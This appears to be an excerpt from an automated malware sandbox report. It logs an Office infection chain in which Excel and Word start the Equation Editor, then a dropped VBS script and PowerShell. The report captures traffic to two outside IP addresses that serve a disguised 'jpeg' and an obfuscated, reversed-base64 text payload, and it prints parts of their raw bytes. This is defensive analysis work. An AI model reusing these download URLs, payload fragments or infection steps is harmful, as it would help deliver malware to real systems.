Jul 26, 2024 08:24:44.360946894 CEST	1236	IN	Data Raw: 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 50 00 41 00 52 00 5a 00 45 00 52 00 4f 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 50 00 61 00 72 00 61 00 Data Ascii: e const L_PARZERO_Message = "Parameter is zero length #"private const L_INVOPT_ErrorMessage = "Switch not al
Jul 26, 2024 08:24:44.361383915 CEST	1236	IN	Data Raw: 45 00 72 00 72 00 6f 00 72 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 3d 00 20 00 22 00 41 00 20 00 71 00 75 00 6f 00 74 00 65 00 64 00 20 00 70 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 20 00 76 00 61 00 6c 00 75 00 65 00 20 00 Data Ascii: ErrorMessage = "A quoted parameter value must begin and end with quotes: "private const L_BADMATCNT1_Message = "Une
Jul 26, 2024 08:24:44.361397028 CEST	448	IN	Data Raw: 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 49 00 4e 00 56 00 57 00 4d 00 49 00 55 00 52 00 49 00 32 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 49 00 6e 00 Data Ascii: ate const L_INVWMIURI2_Message = "Invalid WMI resource URI - only one '/' found (at least 2 expected)"private const
Jul 26, 2024 08:24:44.361865044 CEST	1236	IN	Data Raw: 74 00 20 00 4c 00 5f 00 48 00 61 00 73 00 68 00 53 00 79 00 6e 00 74 00 61 00 78 00 5f 00 45 00 72 00 72 00 6f 00 72 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 3d 00 20 00 22 00 53 00 79 00 6e 00 74 00 61 00 78 00 20 00 45 00 72 00 72 00 Data Ascii: t L_HashSyntax_ErrorMessage = "Syntax Error: input must be of the form {KEY=""VALUE""[;KEY=""VALUE""]}"private const L_A
Jul 26, 2024 08:24:44.361879110 CEST	1236	IN	Data Raw: 6d 00 61 00 74 00 20 00 6d 00 65 00 73 00 73 00 61 00 67 00 65 00 2e 00 20 00 52 00 61 00 77 00 2c 00 20 00 75 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 74 00 65 00 64 00 2c 00 20 00 6d 00 65 00 73 00 73 00 61 00 67 00 65 00 3a 00 20 00 22 00 Data Ascii: mat message. Raw, unformatted, message: "private const L_PUT_PARAM_NOMATCH_Message = "Parameter name does not match any
Jul 26, 2024 08:24:44.362653971 CEST	1236	IN	Data Raw: 6f 00 72 00 6d 00 65 00 64 00 2e 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 52 00 45 00 53 00 4f 00 55 00 52 00 43 00 45 00 4c 00 4f 00 43 00 41 00 54 00 4f 00 52 00 5f 00 Data Ascii: ormed."private const L_RESOURCELOCATOR_Message = "Unable to create ResourceLocator object."private const L_PUT_PARAM_N
Jul 26, 2024 08:24:44.362668037 CEST	672	IN	Data Raw: 70 00 61 00 6c 00 6d 00 6f 00 20 00 75 00 70 00 64 00 61 00 74 00 65 00 20 00 69 00 6e 00 73 00 74 00 72 00 75 00 63 00 74 00 69 00 6f 00 6e 00 73 00 20 00 69 00 6e 00 20 00 61 00 6e 00 61 00 6c 00 79 00 73 00 69 00 73 00 20 00 72 00 65 00 73 00 Data Ascii: palmo update instructions in analysis result."private const L_QuickConfigUpdated_Message = "WinRM has been updated for r
Jul 26, 2024 08:24:44.363354921 CEST	1236	IN	Data Raw: 6e 00 67 00 20 00 69 00 73 00 20 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 2e 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 51 00 75 00 69 00 63 00 6b 00 43 00 6f 00 6e 00 Data Ascii: ng is enabled."private const L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage = "Cannot complete the request due to a
Jul 26, 2024 08:24:44.366367102 CEST	1236	IN	Data Raw: 69 00 63 00 65 00 43 00 68 00 61 00 6e 00 67 00 65 00 73 00 4e 00 65 00 65 00 64 00 65 00 64 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 32 00 20 00 3d 00 20 00 22 00 57 00 69 00 6e 00 52 00 4d 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 Data Ascii: iceChangesNeeded_Message2 = "WinRM service is already running on this machine."private const L_QuickConfigUpdatedService

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49171	198.46.176.133	80	3376	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:24:48.497450113 CEST	79	OUT	GET /Upload/vbs.jpeg HTTP/1.1 Host: 198.46.176.133 Connection: Keep-Alive
Jul 26, 2024 08:24:48.981481075 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:24:48 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT ETag: "1d7285-61ce2d35c4b0c" Accept-Ranges: bytes Content-Length: 1929861 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4A
Jul 26, 2024 08:24:48.981637001 CEST	1236	IN	Data Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04 Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
Jul 26, 2024 08:24:48.981650114 CEST	1236	IN	Data Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a Data Ascii: cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SGA13E0DoE~52>)X5OnFQMuQMVy#o\>5$0!\DYX`
Jul 26, 2024 08:24:48.981707096 CEST	1236	IN	Data Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
Jul 26, 2024 08:24:48.981718063 CEST	1236	IN	Data Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30 Data Ascii: W\`tdcyrU':$_n95X+KYY\4f^&l08<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF
Jul 26, 2024 08:24:48.981729031 CEST	1236	IN	Data Raw: 06 4f 0b d1 be 96 3d 34 91 ab 2a 0a 56 dd 44 fc 6f df 03 c5 b9 32 29 42 6c d7 5a ba c1 4e ab b5 4a a6 c2 a2 98 ef 27 77 c6 b3 d1 ff 00 f0 c7 fd a9 48 d4 a9 80 9b 60 45 30 1f 0c 3e a7 c1 f4 d0 68 e6 54 49 5c b0 f4 95 50 cc be d5 df ae 07 8f 50 c6 Data Ascii: O=4*VDo2)BlZNJ'wH`E0>hTI\PP@"c4J22)Fpc,i^Hm4q`w12>8miUnq`f7m(/=EDZ}=>G7'BfHH8iV;B?{<i3nYvb}<
Jul 26, 2024 08:24:48.982150078 CEST	1236	IN	Data Raw: 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b 95 da c3 9e e7 f8 b1 d9 4b ad 3a 00 3e 7d 30 31 fc 69 61 85 16 38 c2 07 2d b8 ed 51 d2 b1 3d 0a 22 d3 b9 a2 Data Ascii: 4n%,yEa mVV]>e7]umCKK:>}01ia8-Q="O_!;jzEcn'J]h0T5xr]UCK)\Foi2(3++GE/&8eU[:dW)V?L(D(E7,h$`c}f )nsgS
Jul 26, 2024 08:24:48.982161999 CEST	1236	IN	Data Raw: 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb Data Ascii: G-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j}0=pk`ESqHx1>~M.#z_
Jul 26, 2024 08:24:48.982172012 CEST	1236	IN	Data Raw: 3a 99 d6 dd ca ee 08 39 b5 20 96 f8 90 cc 09 cc fd 27 88 be 9f 49 a9 63 23 22 95 65 76 50 3d 41 81 1b 78 17 54 4e 01 24 f0 ff 00 0e d2 6b df 67 87 4a 49 a8 80 91 1e 22 24 60 76 95 2c c7 72 fa 4f 2d 5d af a9 cf 36 f3 69 54 ca 93 c3 b9 dc ee 49 76 Data Ascii: :9 'Ic#"evP=AxTN$kgJI"$`v,rO-]6iTIv14jpIF.UbX$Yi\|QUB81k}w1"eP}0cQ!KAN=5; oVuvH[J}I#k&>$"d)v
Jul 26, 2024 08:24:48.982184887 CEST	1236	IN	Data Raw: e0 67 6d c5 09 50 73 52 24 48 68 f9 44 b3 77 1d f0 00 be 1c 8d 09 7d c4 1b e9 8e 26 91 5f 44 04 67 d4 3a 7b 93 f1 cd 08 d0 08 8b 88 5b 81 7c f7 39 63 ab 54 8e 35 8e 05 5e 79 38 19 51 46 9a 92 f1 3a 95 65 50 2c 71 cd f2 79 c1 6a 22 68 11 63 0d 61 Data Ascii: gmPsR$HhDw}&_Dg:{[\|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!lsR>C!6yx$XjO~k !<=o4s$,fYz,qtUx+,NG*)UeUe
Jul 26, 2024 08:24:48.986920118 CEST	1236	IN	Data Raw: 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5 Data Ascii: Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO!"=y#_o^m Pq.by/Dh-6q'@4)*}eb-G=\r(,}if,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49172	192.227.225.166	80	3376	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:24:50.890721083 CEST	76	OUT	GET /36/RYND.txt HTTP/1.1 Host: 192.227.225.166 Connection: Keep-Alive
Jul 26, 2024 08:24:51.409590960 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:24:51 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu, 25 Jul 2024 02:28:22 GMT ETag: "a1000-61e0926193773" Accept-Ranges: bytes Content-Length: 659456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
Jul 26, 2024 08:24:51.409614086 CEST	1236	IN	Data Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34 Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1AUN8UDO1gSNkUDF0wPN
Jul 26, 2024 08:24:51.409634113 CEST	448	IN	Data Raw: 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 62 37 51 32 4f 63 74 44 Data Ascii: xDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd
Jul 26, 2024 08:24:51.409646034 CEST	1236	IN	Data Raw: 63 44 42 32 77 76 4e 30 62 44 37 32 51 75 4e 63 62 44 31 32 77 73 4e 45 62 44 76 32 51 72 4e 73 61 44 70 32 77 70 4e 55 61 44 6a 32 51 6f 4e 38 5a 44 64 32 77 6d 4e 6b 5a 44 58 32 51 6c 4e 4d 5a 44 52 32 77 6a 4e 30 59 44 4c 32 51 69 4e 63 59 44 Data Ascii: cDB2wvN0bD72QuNcbD12wsNEbDv2QrNsaDp2wpNUaDj2QoN8ZDd2wmNkZDX2QlNMZDR2wjN0YDL2QiNcYDF2wgNEUD/1QfNsXD51wdNUXDz1QcN8WDt1waNkWDn1QZNMWDh1wXN0VDb1QWNcVDV0QPNsTD50wNNUTDz0QMN8SDt0wKNkSDn0QJNMSDh0wHN0RDb0QGNcRDV0wENERDP0QDNsQDJ0wBNUMDOzwyMgMDFzggM8LD8
Jul 26, 2024 08:24:51.409657955 CEST	1236	IN	Data Raw: 67 61 4e 67 57 44 6d 31 41 5a 4e 49 57 44 67 31 67 58 4e 77 56 44 61 31 41 57 4e 59 56 44 55 31 67 55 4e 41 56 44 4f 31 41 54 4e 6f 55 44 49 31 67 52 4e 51 55 44 43 31 41 41 4e 34 54 44 38 30 67 4f 4e 67 54 44 32 30 41 4e 4e 49 54 44 77 30 67 4c Data Ascii: gaNgWDm1AZNIWDg1gXNwVDa1AWNYVDU1gUNAVDO1ATNoUDI1gRNQUDC1AAN4TD80gONgTD20ANNITDw0gLNwSDq0AKNYSDk0gINASDe0AHNoRDY0gFNQRDS0AEN4QDM0gCNgQDG0ABNIQDAzg/MwPD6zA+MYPD0zg8MAPDuzA7MoODozg5MQODizA4M4NDczg2MgNDWzA1MINDQzgzMwMDKzAyMYMDEzgwMAID+yAvMoLD4ygtM
Jul 26, 2024 08:24:51.409668922 CEST	1236	IN	Data Raw: 4f 44 6c 7a 41 35 4d 4d 4f 44 69 7a 51 34 4d 41 4f 44 66 7a 67 33 4d 30 4e 44 63 7a 77 32 4d 6f 4e 44 5a 7a 41 32 4d 63 4e 44 57 7a 51 31 4d 51 4e 44 54 7a 67 30 4d 45 4e 44 51 7a 77 7a 4d 34 4d 44 4e 7a 41 7a 4d 73 4d 44 4b 7a 51 79 4d 67 41 44 Data Ascii: ODlzA5MMODizQ4MAODfzg3M0NDczw2MoNDZzA2McNDWzQ1MQNDTzg0MENDQzwzM4MDNzAzMsMDKzQyMgADvwQLMsCDpwwJMUCDjwQIM8BDdwwGMkBDXwQFMMBDRwwDM0ADLwQCMcADFwwAMEAAACAKAFAKA/w/P0/D7/Q+Pc/D1/w8PE/Dv/Q7Ps+Dp/w5PU+Dj/Q4P89Dd/w2Pk9DX/Q1PM9DR/wzP08DL/QyPc8DF/wwPE4D/
Jul 26, 2024 08:24:51.409682035 CEST	1236	IN	Data Raw: 51 41 50 78 7a 6a 35 36 51 74 4f 46 68 44 79 32 30 6e 4e 4b 56 7a 6b 31 41 59 4e 68 56 6a 55 31 6b 53 4e 56 51 54 72 30 59 4b 4e 66 53 44 6d 78 51 46 41 41 41 41 58 41 55 41 55 41 41 41 41 2b 38 6b 50 49 35 54 45 2b 6b 51 50 55 6b 6a 36 35 4d 65 Data Ascii: QAPxzj56QtOFhDy20nNKVzk1AYNhVjU1kSNVQTr0YKNfSDmxQFAAAAXAUAUAAAA+8kPI5TE+kQPUkj65MeOsmDpxEdMlBAAAACAFAEA/o9Pe9zR+QrPx0Dj9EBPtyTj8ozO7qjG5kTOnkTF44JOshDX4ElNuZTX1olMBET+xMeMNHjswgHAAAAQAUAMAAAA/whPA6TQ9I4OFgT038+NQfDi3k3NeYjy2AsN2Zjb2kRNxVDL1URN
Jul 26, 2024 08:24:51.409841061 CEST	1236	IN	Data Raw: 70 7a 46 36 77 51 4f 2f 6e 44 33 35 34 62 4f 42 67 44 75 34 63 47 4f 4b 68 6a 4e 33 55 71 4e 52 56 6a 77 31 4d 61 4e 45 57 54 57 7a 38 75 4d 43 4c 44 6d 79 34 59 4d 4f 48 44 70 78 51 59 4d 52 42 44 2b 77 77 47 4d 6b 42 41 41 41 41 48 41 45 41 4d Data Ascii: pzF6wQO/nD354bOBgDu4cGOKhjN3UqNRVjw1MaNEWTWz8uMCLDmy4YMOHDpxQYMRBD+wwGMkBAAAAHAEAMAAAgPz6zq+sQPp3jz9QcPH2TL9cBP5xjR8MwO1uzq7wjOcqDQ5EcOfmjg58UOzkjA4QNOLhzL4YwNdfzX3E0NYYz72AoNiZzQ2kjNjYDB10cNWVjR1sTNUQz20wLNwQDAzE+MFPThz8mMpLD2yMsMQKjLycSMcFTV
Jul 26, 2024 08:24:51.409852982 CEST	1236	IN	Data Raw: 38 46 50 59 79 6a 66 38 73 47 50 52 78 6a 50 38 51 79 4f 32 73 44 4d 36 34 5a 4f 5a 69 54 34 34 6f 4e 4f 2f 69 54 75 34 49 4c 4f 6b 69 54 6d 34 49 4a 4f 6c 68 44 54 33 6f 71 4e 6a 55 44 6f 31 4d 59 4e 37 56 6a 63 31 59 45 4e 45 54 7a 63 30 73 47 Data Ascii: 8FPYyjf8sGPRxjP8QyO2sDM64ZOZiT44oNO/iTu4ILOkiTm4IJOlhDT3oqNjUDo1MYN7Vjc1YENETzc0sGNYMD4xUIAAAAUAQAUA8zt/c6Pi9zI+AaPh3zx9oVPP1TP9czOWkDe48MOMeDb2AuN/aDd2gmNUZjT2QkN5UTt10aNlWjl1wYNBWTT1UBNOMz0zU5M5NTZzkhM1LDuyInMYJTMx0fM2GTrxwZM3FzXxcVMLFTOxASM
Jul 26, 2024 08:24:51.409863949 CEST	1236	IN	Data Raw: 6a 44 31 34 45 4b 4f 55 65 6a 35 33 34 39 4e 56 66 44 6d 33 38 34 4e 31 5a 54 2f 32 45 76 4e 4d 57 44 36 30 45 4e 4e 46 54 44 6c 30 34 49 4e 48 53 54 65 30 6b 46 4e 39 51 54 4d 30 41 43 4e 46 4d 7a 39 7a 30 2b 4d 6a 50 7a 78 7a 4d 37 4d 4c 4f 44 Data Ascii: jD14EKOUej5349NVfDm384N1ZT/2EvNMWD60ENNFTDl04INHSTe0kFN9QTM0ACNFMz9z0+MjPzxzM7MLODczo2McNzOzsyMmMDFwcLAAAAXAMAoAAAA/M5PE5Tt+wFP5yzY4wiNwZDa2ImNKVTqz09MMLTyy4lMZJTQxcfMXHzhxYDM1DjywEHMfBzVAAAAABwAQCAAA8z3/gyPc8jC+UuPb7zy+YsP+6jj+koPE6De+ElPM5zR
Jul 26, 2024 08:24:51.414526939 CEST	1236	IN	Data Raw: 30 54 4d 33 45 54 4d 78 73 53 4d 6c 41 6a 38 77 6b 4f 4d 5a 44 54 79 77 6b 4c 4d 76 43 54 70 77 38 4a 4d 61 43 54 6b 77 55 49 4d 39 42 54 64 77 30 47 4d 6d 42 7a 58 77 67 46 4d 52 42 6a 53 77 4d 45 4d 38 41 6a 4e 77 41 44 4d 71 41 44 4a 77 34 42 Data Ascii: 0TM3ETMxsSMlAj8wkOMZDTywkLMvCTpw8JMaCTkwUIM9BTdw0GMmBzXwgFMRBjSwMEM8AjNwADMqADJw4BAAEAiAMAUA8j//c/Ps/z4/08Po+zo/03P49Dc/o2Ph9zO/QxPO4T/+UvPG7Tu+ArPh6Tl+onPu4TE9ofPr3j49cdPK3Tw9sYPE2Td94SPm0TH8sIPAyTZ8cFPExzE8MwO9vT57A9OKvjs745OWujT7g0OwsjC6kvO

Target ID:	0
Start time:	02:24:12
Start date:	26/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fae0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	02:24:35
Start date:	26/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Imagebase:	0x13f070000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	02:24:42
Start date:	26/07/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	02:24:44
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplebeautygirlfrndhaveform.vBS"
Imagebase:	0x5e0000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	02:24:44
Start date:	26/07/2024
